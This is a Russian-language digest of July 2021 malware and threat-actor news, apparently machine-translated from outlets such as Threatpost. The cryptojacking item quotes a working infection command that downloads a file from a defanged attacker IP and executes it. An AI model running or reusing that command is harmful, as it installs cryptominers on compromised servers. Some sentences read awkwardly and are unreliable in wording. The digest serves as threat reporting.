Bitdefender идентифицировал группу угроз, проанализировав ее инструменты и методы, которые включают тяжелую обфускацию с помощью сценариев Bash, которые скомпилированы с помощью компилятора сценариев оболочки (shc). Злоумышленники также использовали Discord для передачи информации: этот ход со стороны злоумышленников становится все более популярным.

Злонамеренное злоупотребление инструментами для совместной работы, такими как Slack и Discord, для обхода безопасности и доставки кражи информации, троянов удаленного доступа (RAT) и других вредоносных программ, резко возросло: в апреле группа по кибербезопасности Cisco Talos сообщила в отчете о злоупотреблениях в приложениях для совместной работы, что они обнаружили 20000 вирус обнаруживает только один поиск в сети Discord.

Использование Discord позволяет добиться нескольких целей: оно избавляет злоумышленников от необходимости размещать свой собственный сервер управления и контроля (C2), поскольку веб-перехватчики являются средством программной публикации данных на канале Discord, поясняется в отчете. Также Discord представляет собранные данные для удобного просмотра на канале.

«Discord становится все более популярным среди злоумышленников из-за этой функциональности, поскольку он невольно обеспечивает поддержку распространения вредоносного ПО (использование его CDN), C2 (веб-

перехватчики) или создание сообществ, сосредоточенных на покупке и продаже исходного кода и услуг вредоносного ПО (например, DDoS), »Запись продолжалась.

Эта информация также позволяет злоумышленнику оценить, насколько хорошо его инструменты заражают машины. Кроме того, злоумышленник может составить список жертв для будущих, потенциальных хиджинксов после эксплуатации.

Что вызвало отслеживание криптоджекинга?

Аналитики впервые начали расследование деятельности группы в мае, когда они обнаружили кампанию криптоджекинга с использованием загрузчика «.93joshua». Как ни удивительно, было легко отследить вредоносное ПО до «http: // 45 [.] 32 [.] 112 [.] 68 /.sherifu /.93joshua» в открытом каталоге.

«Оказывается, на сервере были и другие файлы», - отмечают аналитики. «Хотя группа спрятала многие файлы, их включение в другие сценарии показало их присутствие». Они обнаружили, что в связанном домене mexalz.us размещалось вредоносное ПО «по крайней мере с февраля».

Инструменты криптоджекинга к вашим услугам

Из того, что удалось выяснить Bitdefender, брутфорсер распространяется по модели как услуга, учитывая, что он использует централизованный сервер API.

Согласно отчету, злоумышленники, арендующие инструмент, предоставляют свои ключи API в своих скриптах. Вот здесь-то и появляется ссылка на Румынию, объясняется она: «Как и большинство других инструментов в этом наборе, инструмент грубой силы имеет интерфейс на смеси румынского и английского языков. Это заставляет нас думать, что его автор принадлежит к той же румынской группе ».

По их словам, группа угроз действует как минимум с 2020 года.

Цепочка атак

Прежде чем им придется замести следы с помощью таких приемов, как сокрытие за Discord, криптоджекингам сначала необходимо найти слабые учетные данные, что они и достигают путем сканирования. Исследователи заявили, что в этом случае злоумышленники, использующие криптоджекинг, размещают на сервере несколько архивов, в том числе jack.tar.gz, juanito.tar.gz, scn.tar.gz и skamelot.tar.gz.

Архивы содержат инструменты для взлома серверов со слабыми учетными данными SSH, процесс, который включает в себя три этапа:

Разведка: определение серверов SSH с помощью сканирования портов и захвата баннеров

Доступ к учетным данным: определение действительных учетных данных с помощью грубой силы

Начальный доступ: подключение через SSH и выполнение полезной нагрузки заражения

Аналитики объяснили, что злоумышленники использовали инструменты «ps» и «masscan» для разведки, в то время как «99x / haiduc» (вредоносное ПО Outlaw) и «brute» используются для доступа к учетным данным и начального доступа. Помимо традиционных инструментов, таких как «masscan» и «zmap»,

инструментарий злоумышленников в этом случае включал ранее не сообщавшийся брутфорсер SSH - Diicot brute - написанный на Go.

Кампания, которая все еще активна, включает использование «skamelot.tar.gz», который включает следующие файлы:

r (скомпилированный сценарий SHC) выполняет итерацию по IP-классам и запускает Go

Go (сценарий, скомпилированный SHC) запускает 99x (haiduc) с полезной нагрузкой заражения.

p - это список попыток ввода учетных данных

Полезная нагрузка заражения, выполняемая в сеансах SSH, выглядит так: curl -O http: // 45 [.] 32 [.] 112 [.] 68 /.sherifu /.93joshua && chmod 777.93joshua &&./.93joshua && uname -a ».

Аналитики заявили, что файл с полезной нагрузкой все еще находится в сети, но злоумышленники переместили его на mexalz.us.

Группа также использует специально скомпилированные двоичные файлы со встроенными конфигурациями законного майнера по имени XMRig - майнера с открытым исходным кодом, который в прошлом был адаптирован для криптоджекинга.

«Грубая сила все еще работает»

В отчете подчеркивается, что это не сработало бы, если бы не паршивые пароли, которые дают злоумышленникам простой способ захватить машины.

«Люди - это простая причина, по которой брутфорс учетных данных SSH все еще работает», - пишут исследователи. Какие бы инструменты ни потребовались для этого грубого форсинга, группа сама разработала их в этом случае.

Аналитики обнаружили этот инструмент - Diicot brute - в архивах jack.tar.gz и juanito.tar.gz. В отличие от большинства инструментов, используемых Mexalz, он не может использоваться сам по себе: скорее, он предназначен для сдачи в аренду по модели SaaS.

Повторное использование инструментов злоумышленников упрощает отслеживание

Джозеф Карсон, главный специалист по безопасности и консультант по информационной безопасности в компании ThycoticCentrify, занимающейся облачной идентификацией, сказал Threatpost в среду, что, условно говоря, эта кампания не так уж и сложна, несмотря на использование в ней нового инструмента грубой силы. «Используемые методы слишком часто распространяются в даркнете, что позволяет любому, у кого есть компьютер и подключение к Интернету, начать кампанию криптоджекинга», - сказал он по электронной почте.

«Отслеживать такие банды помогает то, что у них есть свои любимые методы и приемы», - продолжил Карсон. «При достаточно частом использовании они создают общий отпечаток пальца, который можно использовать для цифрового отслеживания», - сказал он. «Трудно отследить тех, кто прячется за украденным кодом или никогда больше не использует одни и те же методы и техники».

Карсон пояснил, что для каждой новой кампании они делают что-то совершенно другое. Но такие злоумышленники, как правило, «хорошо

финансируются и обеспечены ресурсами», - отметил он. «Большинство киберпреступников пойдут по легкому пути, и [это] будет повторное использование [многих] существующих инструментов и методов, насколько это возможно. Это действительно будет зависеть от того, заботится ли злоумышленник о том, что его обнаружат, или нет ».

Чем больше шагов злоумышленник предпринимает, чтобы оставаться скрытым, «обычно означает, что они действуют в пределах страны, и в случае обнаружения они могут быть привлечены к ответственности», - сказал Карсон». ***(Lisa Vaas. Linux-Focused Cryptojacking Gang Tracked to Romania // Threatpost (https://threatpost.com/linux-cryptojacking-gang-romania/167783/). 14.07.2021).***

***

«Печально известная группа Lazarus Advanced Persistent Threat (APT) была названа кибергангой, стоящей за кампанией по распространению вредоносных документов среди ищущих работу инженеров. Уловка заключается в том, чтобы выдавать себя за подрядчиков, ищущих работу.

Согласно отчету, опубликованному в сети AT&T Alien Labs, исследователи в течение нескольких месяцев отслеживали активность Lazarus с инженерными целями в США и Европе.

По словам автора отчета Фернандо Мартинеса, электронные письма, отправленные APT потенциальным кандидатам в инженеры, якобы были отправлены известными оборонными подрядчиками Airbus, General Motors (GM) и Rheinmetall.

К электронным письмам прилагаются документы Windows, содержащие вредоносное ПО на основе макросов, «которое было разработано и улучшено в ходе этой кампании и от одной цели к другой», - написал Мартинес.

«Основные методы для трех вредоносных документов одинаковы, но злоумышленники попытались снизить вероятность обнаружения и повысить возможности макросов», - написал он.

Кампания Lazarus - последняя, нацеленная на оборонную промышленность. В феврале исследователи связали целевую фишинговую кампанию 2020 года с APT, направленную на кражу критически важных данных у оборонных компаний с использованием продвинутого вредоносного ПО под названием ThreatNeedle.

Действительно, с использованием макросов Microsoft Office и скомпрометированной сторонней инфраструктуры для связи, в последних атаках Lazarus был написан повсюду, оставаясь «в соответствии с предыдущими кампаниями Lazarus», - писал Мартинес.

«Атакующие приманки, потенциально нацеленные на инженеров в государственных организациях, демонстрируют важность отслеживания Lazarus и их эволюции», - написал он. «Мы продолжаем видеть, как Лазарь использует ту же тактику, методы и процедуры, которые мы наблюдали в прошлом».

Расширение кампании против инженеров

Исследователи AT&T Alien Labs ранее наблюдали деятельность Lazarus, пытающуюся заманить жертв поддельными вакансиями из систем Boeing и BAE. Они были предупреждены о новой кампании, когда пользователи Twitter

обнаружили несколько документов с мая по июнь этого года, которые были связаны с группой Lazarus с использованием Rheinmetall, GM и Airbus в качестве приманки, пишет Мартинес.

В частности, этими вредоносными документами были: «Rheinmetall_job_requirements.doc»: идентифицировано ESET Research; «General_motors_cars.doc»: идентифицировано пользователем Twitter @ 1nternaut; и «Airbus_job_opportunity_confidential.doc » : идентифицировано 360CoreS.

Как выяснили исследователи, кампании с использованием трех новых документов имеют сходство в системе командования и управления (C&C), но разные способы выполнения злонамеренных действий.

Lazarus распространил два вредоносных документа, связанных с Rheinmetall, немецкой инжиниринговой компанией, специализирующейся на оборонной и автомобильной промышленности. Однако второй вариант содержал «более подробное содержание» и, таким образом, скорее всего, остался незамеченным жертвами, пишет Мартинес.

Одним из уникальных аспектов макроса, содержащегося в исходном вредоносном документе, является то, что он переименовывает Certutil, программу командной строки в Microsoft Docs, установленную как часть служб сертификации, в попытке скрыть ее действия.

По словам Мартинеса, основная полезная нагрузка документа Rheinmetall использует Mavinject.exe, законный компонент Windows, который ранее использовался и злоупотреблялся вредоносными программами, для выполнения произвольных инъекций кода внутри любого запущенного процесса. В этом случае злоумышленники используют скомпрометированный домен в качестве C&C сервера, добавил Мартинес.

Как выяснили исследователи, документ GM включал вектор атаки, похожий на вектор атаки Rheinmetall, с небольшими обновлениями в процессе коммуникации C&C. Однако, как отметил Мартинес, домен C&C, использованный в связи с этой злонамеренной деятельностью, allgraphicart [.] Com, больше не скомпрометирован.

Развивающаяся тактика

Макрос документа Airbus, как и атака Rheinmetall, использовал и переименовал Certutil как маневр уклонения и использовал аналогичную тактику связи C&C. Однако, как выяснили исследователи, он также продемонстрировал прогрессирование процессов внедрения и выполнения, которое позволяет отказаться от предыдущего использования Mavinject для выполнения своей грязной работы.

«Макрос выполняет упомянутую полезную нагрузку с использованием обновленной техники», - написал Мартинес. «Злоумышленники больше не используют Mavinject, а напрямую выполняют полезную нагрузку с помощью explorer.exe, значительно изменяя результирующее дерево выполнения».

После выполнения полезной нагрузки макрос в документе Airbus ожидает в течение трех секунд перед созданием файла.inf в той же папке. Затем, независимо от того, был он успешно выполнен или нет, макрос отправит маяк на C&C со

статусом выполнения и удалит все временные файлы, пытаясь устранить любые свидетельства злонамеренных действий, заявили исследователи.

Учитывая исторически плодовитый характер Lazarus, названного Касперским «самой активной» группой угроз 2020 года, последняя атака на инженеров «не ожидается, что она будет последней», - отметил Мартинес.

«Атакующие приманки, потенциально нацеленные на инженеров в государственных организациях, демонстрируют важность отслеживания Lazarus и их эволюции», - написал он». ***(Elizabeth Montalbano. Lazarus Targets Job-Seeking Engineers with Malicious Documents // Threatpost (https://threatpost.com/lazarus-engineers-malicious-docs/167647/). 09.07.2021).***

***

«Исследователи безопасности поймали новую фишинговую кампанию, в которой пытались доставить вредоносное ПО BazarBackdoor, используя технику множественного сжатия и маскируя его под файл изображения.

Метод многократного сжатия или вложенного архива не нов, но в последнее время приобрел популярность, поскольку он может обмануть шлюзы безопасности электронной почты, чтобы они ошибочно пометили вредоносные вложения как чистые.

Он заключается в помещении одного архива в другой. Исследователи из Cofense говорят, что этот метод может обойти некоторые безопасные почтовые шлюзы (SEG), которые могут иметь ограничение на глубину проверки сжатого файла.

Новая кампания BazarBackdoor, развернутая ранее в этом месяце, привлекла корпоративных клиентов темой «Дня окружающей среды», который официально отмечается 5 июня.

Оба вложенных архива ZIP и RAR во вложении содержали файл JavaScript, который в конечном итоге доставлял вредоносное ПО Trickbot BazarBackdoor, скрытый бэкдор, обычно используемый на корпоративных объектах для предоставления удаленного доступа злоумышленнику.

Cofense проанализировал недавнюю кампанию по борьбе со спамом и обнаружил, что роль сильно запутанного файла JavaScript заключалась в загрузке полезной нагрузки с расширением изображения.

Кофенс объясняет, что «вложение различных типов архивов является целенаправленным для злоумышленника, поскольку у него есть шанс достичь предела декомпрессии SEG или выйти из строя из-за неизвестного типа архива».

Обфусцированные файлы также могут создавать проблемы для SEG, если для полезной нагрузки используется несколько уровней шифрования, что увеличивает вероятность того, что вредоносный файл пройдет незамеченным.

«После выполнения обфусцированный JavaScript загрузит полезную нагрузку [BazarBackdoor] с расширением.png через соединение HTTP GET», - говорит Кофенс, добавляя, что полезная нагрузка является исполняемым файлом с неправильным расширением.

После развертывания на компьютере жертвы BazarBackdoor может загрузить и выполнить Cobalt Strike, законный набор инструментов, предназначенный для постэксплуатационных упражнений, для распространения в окружающей среде.

Получив доступ к ценным системам в сети, злоумышленники могут запускать атаки программ-вымогателей, красть конфиденциальную информацию или продавать доступ другим киберпреступникам…». ***(Ionut Ilascu. BazarBackdoor sneaks in through nested RAR and ZIP archives // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/). 14.07.2021).***

***

«По итогам 2020 года в Китае было выявлено более 42 млн кибератак с использованием вредоносных программных обеспечений (ПО), говорится в отчете, обнародованном в среду Государственным центром быстрого реагирования на чрезвычайные ситуации в интернете Китая (CNCERT). Данную информацию распространило Государственное агентство новостей КНР Синьхуа.

Таким образом, в среднем в сутки вредоносные ПО распространялись более 4,82 млн раз. При этом основными зарубежными источниками вредоносных ПО оказались США и Индия, говорится в отчете.

Согласно данным, в 2020 году около 55,41 млн или 14,2% от общего количества IP-адресов в стране подверглись атакам с использованием вредоносных ПО. Подвергшиеся атакам IP-адреса в основном находились в провинциях Шаньдун, Цзянсу, Гуандун и Чжэцзян.

CNCERT был создан в 2001 году и является неправительственной некоммерческой организацией, осуществляющей техническую поддержку и координацию деятельности в области сетевой безопасности. Ежегодный отчет о кибербезопасности страны публикуется CNCERT с 2008 года». ***(Павел Твердохлиб. В 2020 году в Китае выявлено свыше 42 млн кибератак с использованием вредоносных ПО // ІнА "Українські Новини" (https://ukranews.com/news/790204-v-2020-godu-v-kitae-vyyavleno-svyshe-42-mln-kiberatak-s-ispolzovaniem-vredonosnyh-po). 27.07.2021).***

***

«Аналитики Eset обнаружили вредонос Android/FakeAdBlocker, который отображает нежелательную рекламу и создает спам-события в календарях iOS и Android. Кроме этого, угроза может загружать другие вредоносные компоненты.

После нажатия на рекламные объявления жертвы часто теряют деньги, отправляя SMS по повышенному тарифу, подписываясь на ненужные услуги или загружая банковские трояны, SMS-трояны и другие вредоносные программы. Для создания ссылок на рекламу угроза использует сервисы для сокращения URL-адресов.

По данным телеметрии, угроза впервые обнаружена в сентябре 2019 г., а с января по июль 2021 г. на устройства Android было загружено более 150 тыс. ее

образцов. Больше всего жертв зафиксировано в таких странах, как Украина, Казахстан, Россия, Вьетнам, Индия, Мексика и США.

Хотя в большинстве случаев Android/FakeAdBlocker показывает рекламу, специалисты Eset обнаружили сотни случаев загрузки и запуска различных вредоносных программ, в том числе и банковского трояна Cerberus. Этот троян маскировался под Chrome, Android Update, Adobe Flash Player или Update Android и загружался на устройства пользователей из Турции, Польши, Испании, Греции и Италии. Кроме этого, исследователи Eset зафиксировали загрузку трояна Ginp на устройства в Греции и на Ближнем Востоке.

Исследователи Eset обнаружили, что с помощью сервисов для сокращения URL-ссылок злоумышленники добавляют события в календарь iOS и распространяют угрозу Android/FakeAdBlocker, которая запускается на устройствах Android. На смартфонах iOS, кроме отображения нежелательной рекламы, эти ссылки могут создавать события в календарях путем автоматической загрузки файла календаря ICS». ***(Опасный вирус атакует украинских пользователей мобильных устройств // Компьютерное Обозрение (https://ko.com.ua/opasnyj_virus_atakuet_ukrainskih_polzovatelej_mobilnyh_ustrojstv_138096). 21.07.2021).***

***

«Компания Eset выявила новую и все еще активную вредоносную кампании Bandidos с использованием усовершенствованных версий известной угрозы Bandook. Возможности вредоноса и тип перехватываемой информации свидетельствуют о шпионаже как основной цели киберпреступников.

Согласно данным телеметрии Eset, основными целями злоумышленников являются корпоративные сети компаний в области производства, строительства, здравоохранения, программных услуг и розничной торговли.

Потенциальные жертвы получают вредоносные электронные письма с PDF-файлом, который содержит ссылки для загрузки сжатого архива и пароль для его распаковки. Внутри архива находится исполняемый файл – загрузчик, который запускает Bandook в процесс Internet Explorer. Во вложенных PDF-документах злоумышленники сокращают URL-адреса с помощью сервисов Rebrandly или Bitly.

В свою очередь, сокращенные URL-адреса перенаправляют жертв на облачные сервисы для хранения файлов, такие как Google Cloud Storage, SpiderOak или pCloud, из которых загружается вредоносное ПО. Основная цель угрозы – декодировать, расшифровывать и запускать вредоносный компонент, а также обеспечить его сохранение в скомпрометированной системе.

«Особенно интересен функционал ChromeInject. В частности, когда устанавливается связь с командным сервером злоумышленника, компонент загружает файл DLL для создания вредоносного расширения Chrome. В свою очередь, вредоносное расширение пытается получить любые учетные данные жертвы, которые затем сохраняются в локальном хранилище Chrome», – комментирует исследователь компании Eset.

Стоит отметить, что Bandook – известный троян удаленного доступа, который был доступен в Интернете еще в 2005 г., хотя его использование

злоумышленниками не было зафиксировано вплоть до 2016 г. После этого, в 2018 г. угрозу использовали для атак на учебные заведения, а также работников юридических и медицинских учреждений. А в 2020 г. троян применялся в атаках на несколько секторов, в частности, государственный, финансовый, ИТ и энергетический». ***(Шпионская кампания Bandidos атакует корпоративные сети посредством PDF-файлов // Компьютерное Обозрение (https://ko.com.ua/shpionskaya_kampaniya_bandidos_atakuet_korporativnye_seti_posredstvom_pdf-fajlov_137979). 09.07.2021).***

***

«Анализ данных статистики Dr.Web показал в июне увеличение общего числа обнаруженных угроз на 8% относительно предыдущего месяца. При этом количество уникальных угроз уменьшилось на 18.7%. Большинство обнаружений по-прежнему приходится на долю рекламных программ и нежелательных приложений. В почтовом трафике по частоте распространения лидирует разнообразное вредоносное ПО, в том числе веб-страницы, присылаемые в фишинговых рассылках.

Число обращений пользователей за расшифровкой файлов уменьшилось на 8% по сравнению с маем. Самым распространенным вымогателем июня стал Trojan.Encoder.26996 на долю которого приходится 37.65% всех инцидентов.

Угрозы прошедшего месяца:

Adware.SweetLabs.4 – альтернативный каталог приложений и надстройка к графическому интерфейсу Windows от создателей Adware.Opencandy;

Adware.Downware.19894, Adware.Downware.19937 – рекламное ПО, выступающее в роли промежуточного установщика пиратских программ;

Adware.Elemental.17 – семейство рекламных программ, попадающих на устройства путем подмены ссылок на файлообменных сервисах. Вместо ожидаемых файлов жертвы получают приложения с рекламой, а также инсталлируют ненужное ПО;

Adware.Softobase.12 – программа-установщик, распространяющая устаревшее ПО. Изменяет настройки браузера.

W97M.DownLoader.2938 – семейство троянов-загрузчиков, использующих уязвимости файлов Microsoft Office. Предназначены для загрузки на атакуемый компьютер других вредоносных программ;

Trojan.Loader.834, Trojan.Loader.838 – компоненты упаковщика с различной полезной нагрузкой;

HTML.FishForm.123 – веб-страница, распространяющаяся посредством фишинговых рассылок. Представляет собой фиктивную форму ввода учетных данных, которая имитирует авторизацию на известных сайтах. Введенные пользователем данные отправляются злоумышленнику;

PDF.Phisher.236 – PDF-документ, использующийся в фишинговой рассылке». ***(Общее количество выявленных в июне вирусов увеличилось на 8% // Компьютерное Обозрение (https://ko.com.ua/obshhee_kolichestvo_vyyavlennyh_v_iyune_virusov_uvelichilos_na_8_137981). 12.07.2021).***

***

«Check Point Research представила июньский отчет Global Threat Index о наиболее активных киберугрозах месяца. Исследователи сообщают, что Trickbot, который занял первое место в рейтинге в мае, по-прежнему остается в топе.

Trickbot – ботнет и банковский троян, который может красть финансовые и учетные данные, личную информацию, распространяться в сети сам и загружать программы-вымогатели. В прошлом месяце команда Check Point Research сообщила, что за последние 12 месяцев среднее количество атак с программами-вымогателями в неделю увеличилось на 93%. Эксперты также предупредили, что подобные атаки не ограничиваются использованием одной вредоносной программы. Например, при атаках вымогателя Ryuk злоумышленники сначала использовали ботнет Emotet для проникновения в сеть, затем заражали ее Trickbot, и в конце с помощью Ryuk окончательно зашифровывали данные.

Trickbot приобрел особенную популярность после ликвидации серверов Emotet в январе этого года. Кроме того, согласно недавним исследованиям, Trickbot связан с новым видом вымогателей Diavol. Trickbot постоянно дополняется новыми возможностями, функциями и векторами распространения. Это гибкое и настраиваемое вредоносное ПО, которое может распространяться в рамках многоцелевых кампаний.

«В мире второй месяц в топе остается банковский троян Trickbot, и в Украине идентичная ситуация. Тут в топ-три самых активных вредоносных программ вошли два банковских трояна: Trickbot и Qbot», – рассказывает Александр Савушкин, региональный директор по развитию бизнеса Check Point в Украине, Грузии и странах СНГ.

Самое активное вредоносное ПО июня в Украине:

Trickbot – затронул 12,65% организаций;

FormBook – впервые обнаружен в 2016 г.: это инфостилер, предназначенный для ОС Windows. На подпольных хакерских форумах он позиционируется как MaaS из-за его развитых методов уклонения и относительно низкой цены. FormBook собирает учетные данные из различных веб-браузеров, делает снимки экрана, отслеживает и регистрирует на нажатие клавиш, а также может загружать и выполнять файлы в соответствии с приказами своего командного сервера. Затронул 7,2% организаций;

Qbot – банковский троян. Впервые появился в 2008 г., был предназначен для кражи банковских учетных данных и данных от нажатий клавиш у пользователей. Qbot часто распространяется через спам и использует несколько методов защиты от виртуальных машин и песочниц, чтобы затруднить анализ и уклониться от обнаружения. Затронул 5,42% организаций.

Наиболее распространенные уязвимости июня в мире:

В этом месяце «Удаленное выполнение кода в заголовках HTTP (CVE-2020-13756)» стала самой эксплуатируемой уязвимостью, затрагивающей 47% организаций во всем мире. На втором и третьем месте «Удаленное выполнение

кода MVPower DVR» и Обход аутентификации роутера Dasan GPON (CVE-2018-10561) с охватом 45% и 44% соответственно.

Самые активные мобильные угрозы:

xHelper – вредоносное приложение для Android, активно с марта 2019 г., используется для загрузки других вредоносных приложений и отображения рекламы. Приложение способно скрываться от пользовательских и мобильных антивирусных программ и переустанавливаться, если пользователь удаляет его;

Hiddad – модульный бэкдор для Android, который предоставляет права суперпользователя для загруженного вредоносного ПО, а также помогает внедрить его в системные процессы. Он может получить доступ к ключевым деталям безопасности, встроенным в ОС, что позволяет ему получать конфиденциальные данные пользователя;

XLoader – шпионское и банковское ПО для Android, разработанное китайской хакерской группировкой Yanbian Gang. Это вредоносное ПО использует DNS-спуфинг для распространения зараженных приложений Android чтобы собирать личную и финансовую информацию». ***(Банковский троян Trickbot остается главной киберугрозой в Украине // Компьютерное Обозрение(https://ko.com.ua/bankovskij_troyan_trickbot_ostaetsya_glavnoj_kiberugrozoj_v_ukraine_138043). 15.07.2021).***

***

«Разработчики вредоносных программ все чаще прибегают к использованию необычных или «экзотических» языков программирования с целью затруднить ИБ-экспертам анализ вредоносов. Согласно отчету специалистов из BlackBerry Research & Intelligence, в последнее время наблюдается рост использования языков Go (Golang), D (DLang), Nim и Rust. Хакеры используют данные языки с целью избежать обнаружения ИБ-экспертами или решить определенные проблемы в процессе разработки ПО.

В частности, разработчики вредоносных программ экспериментируют с загрузчиками и дропперами, написанными на «экзотических» языках, которые лучше подходят для развертывания вредоносных программ на первом и последующих этапах в цепочке атак.

Загрузчики первого уровня становятся все более распространенными и помогают хакерам избежать обнаружения на скомпрометированной системе. После обхода защитных решений, способных обнаруживать более типичные формы вредоносного кода, дропперы используются для декодирования, загрузки и установки вредоносных программ, в том числе троянов для удаленного доступа Remcos и NanoCore. Кроме того, часто в ходе атак используются маяки Cobalt Strike.

Кроме того, некоторые разработчики, имея в своем распоряжении больше ресурсов, полностью переписывают свои вредоносные программы на новые языки, например, с Buer на RustyBuer.

Основываясь на текущих тенденциях, исследователи кибербезопасности отметили особый интерес киберпреступников к языку Go. Например, новый вариант неназванной программы-вымогателя, обнаруженной в июне нынешнего

года экспертами из CrowdStrike, позаимствовал функции у HelloKitty (также известного как DeathRansom) и FiveHands, но использовал упаковщик Go для шифрования своей основной полезной нагрузки». ***(Создатели вредоносов стали чаще использовать «экзотические» языки программирования // SecurityLab.ru (https://www.securitylab.ru/news/522834.php). 28.07.2021).***

***

«APT-группа StrongPity, специализирующаяся на кибершпионаже, пополнила свой хакерский арсенал вредоносным ПО для Android, который в недавней кампании распространяла через электронный портал правительства Сирии. Это первый известный случай использования группировкой Android-вредоносов.

По данным специалистов компании Trend Micro, злоумышленники скомпрометировали правительственный сайт и заменили легитимное приложение вредоносной версией, способной похищать списки контактов и файлы с определенным расширением с устройства жертвы, в частности, документы Word и Excel, PDF-файлы, изображения, ключи безопасности и файлы, сохраненные с помощью Dagesh Pro Word Processor (.DGS). Вся эта информация отправляется на управляющий сервер.

Троянизированная версия запрашивает дополнительные разрешения на телефоне, в том числе возможность просматривать контакты, осуществлять запись во внешнее хранилище, поддерживать устройство в активном состоянии, получать доступ к информации о геоположении, сотовой и Wi-Fi-сетях и даже автоматически запускаться после загрузки системы.

Кроме того, приложение может осуществлять продолжительные по времени задачи в фоновом режиме и инициировать запросы к управляющему серверу, который в ответ отправляет зашифрованную полезную нагрузку, содержащую файл с настройками, позволяющими «вредоносной программе менять поведение в соответствии с конфигурацией».

StrongPity, также известная как Promethium, осуществляет атаки с 2012 года и в основном сконцентрирована на объектах в Турции и Сирии». ***(Правительственные хакеры распространяли Android-троян через сирийский госпортал // SecurityLab.ru (https://www.securitylab.ru/news/522621.php). 22.07.2021).***

***

«На официальном сайте правительства Казахстана на протяжении более пяти месяцев были размещены документы, зараженные вредоносным ПО. Специалисты ИБ-фирм T&T Security и Zerde Holding обнаружили по крайней мере два документа, загруженных в правительственные юридические и бюджетные разделы, которые устанавливали версию вредоносного ПО Razy на системах пользователей.

Файлы были доступны через официальный портал правительства Казахстана eGov.kz, где граждане могут зарегистрироваться для подачи налоговой декларации, взаимодействия с различными государственными органами и загрузки

официальных документов. При попытке загрузить файлы пользователям предлагалось запустить вредоносный EXE-файл. При запуске такого файла пользователь увидит открывшийся офисный документ, в то время как вредоносный EXE-файл будет совершать преступные операции.

Вредоносное ПО Razy было выявлено в 2015 году и обычно связано с финансово мотивированными кибероперациями. При этом подавляющее большинство его функций сосредоточено на хищении учетных данных из браузера и перехвате контроля над буфером обмена для замены адресов криптовалюты пользователей.

Как полагает исследователь в области кибербезопасности Матье Фау (Matthieu Faou) из компании ESET, это не целенаправленная вредоносная кампания какой-нибудь группировки. Вероятнее всего, компьютерные системы государственных служащих были заражены Razy через другие источники, а вредоносная программа использовала компонент распространения файлов FakeDoc для заражения других документов на устройстве. Документы, предположительно, были позже загружены на официальный портал eGov.kz». ***(На сайте правительства Казахстана обнаружены документы с вредоносным ПО // SecurityLab.ru (https://www.securitylab.ru/news/522299.php). 14.07.2021).***

***

«Китайская кибершпионская группирвока, известная атаками на Юго-Восточную Азию, использует уязвимости в сервере Microsoft Exchange, чтобы распространять троян удаленного доступа.

Специалисты по кибербезопасности обнаружили новую версию малвари PlugX, названный Thor. Ее доставили на один из взломанных серверов.

PlugX может загружать файлы, скачивать, изменять, считывать нажатия клавиш, контролировать веб-камеру и так далее.

2 марта Microsoft раскрыла, что китайские хакеры использовали уязвимости нулевого дня в сервере Exchange, чтобы красть конфиденциальные данные. После этого группировки вымогателей (DearCry и Black Kingdom) и криптомайнеров (LemonDuck) также начали использовать уязвимость, чтобы угнать серверы Exchange и установить web-shell». ***(Китайские хакеры используют уязвимость в сервере Microsoft Exchange // SecureNews (https://securenews.ru/chinese-hackers-exploit-vulnerability-in-microsoft-exchange-server/0. 28.07.2021).***

***

«Малварь для Android, которая крала учетные данные пользователей из европейских банковских приложений, трансформировалась в ботнет. Он является частью кампании, которая началась в мае 2021 года.

В конце января специалисты раскрыли детали о малвари Oscorp, которая может перехватывать СМС, совершать звонки, совершать атаку overlaying.

Малварь распространяется через СМС. Операторы выдают себя за банковских работников, получают доступ к телефону через протокол WebRTC и проводят несанкционированные переводы». ***(Малварь для Android крадет***

учетные данные // SecureNews (https://securenews.ru/malware-for-android-steals-credentials/). 28.07.2021).

***

«Кибермошенники используют интерес людей к последнему фильму Marvel, чтобы распространять малварь.

Как сообщают исследователи, киберпреступники незаконно монетизировали интерес к фильму «Черная вдова» на протяжении нескольких месяцев.

Исследователи проанализировали всплески попыток заразить пользователей – они совпали с датами анонса фильма и его выпуска. Они обнаружили, что попытки заражения возрастали в преддверии официального анонса фильма в мае 2020 года, также в период первоначальной запланированной даты выхода – ноябрь 2020 года и май 2021, которые были перенесены на июль 2021 из-за коронавируса.

Также исследователи нашли многочисленные фишинговые сайты, созданные для кражи учетных данных пользователей. На некоторых из них пользователям показывали пару минут фильма, а потом просили зарегистрироваться, чтобы продолжить просмотр. В процессе регистрации пользователей просили ввести данные платежной карты, чтобы подтвердить их регион проживания.

Позже деньги списывались с карты, а доступ к фильму не предоставлялся». ***(Киберпреступники используют интерес к фильмам Marvel, чтобы распространять малварь // SecureNews (https://securenews.ru/cybercriminals-use-interest-in-marvel-movies-to-spread-malware/). 12.07.2021).***

***

«Эндрю Виндзор и Крис Нил, исследователи из Cisco Talos, заметили новую активность Solarmarker, программы для кражи информации и кейлоггера на основе.NET, которую они назвали «высокомодульной».

Исследователи объяснили, что кампанию Solarmarker проводят «довольно опытные» участники, сосредотачивая свои усилия на краже учетных данных и остаточной информации.

Как и целевой языковой компонент кейлоггера, другие подсказки указывают на то, что кибер-злоумышленник заинтересован в европейских организациях или не может позволить себе обрабатывать текст на каких-либо языках, кроме русского, немецкого и английского.

«Несмотря на это, они не особо или чрезмерно осторожны в отношении того, какие жертвы заражены их вредоносным ПО. Во время недавнего всплеска кампании Talos заметил, что вертикали здравоохранения, образования и муниципальных властей становятся наиболее частыми», - говорится в докладе.

«За этими секторами последовала небольшая группа производственных организаций, а также несколько отдельных организаций в религиозных учреждениях, финансовых услугах и строительстве / инжиниринге. Несмотря на то, что кажется концентрацией виктимологии среди нескольких вертикалей, мы с умеренной уверенностью оцениваем, что эта кампания не нацелена на какие-то конкретные отрасли, по крайней мере, намеренно ".

В отчете добавлено, что исследователи Microsoft полагают, что кампания Solarmarker использует отравление SEO, чтобы сделать их файлы- дропперы хорошо заметными в результатах поисковых систем, потенциально искажая, «какие типы организаций могут столкнуться с вредоносными файлами в зависимости от того, что является наиболее популярным. время.»

Исследователи Talos предупредили организации, что им следует обратить внимание на вредоносное ПО, поскольку наблюдаемые модули показывают, что жертвы уязвимы для «кражи конфиденциальной информации не только из-за использования браузера их отдельными сотрудниками, например, если они вводят номер своей кредитной карты или другую личную информацию, но также и те, которые имеют решающее значение для безопасности организации, особенно учетные данные».

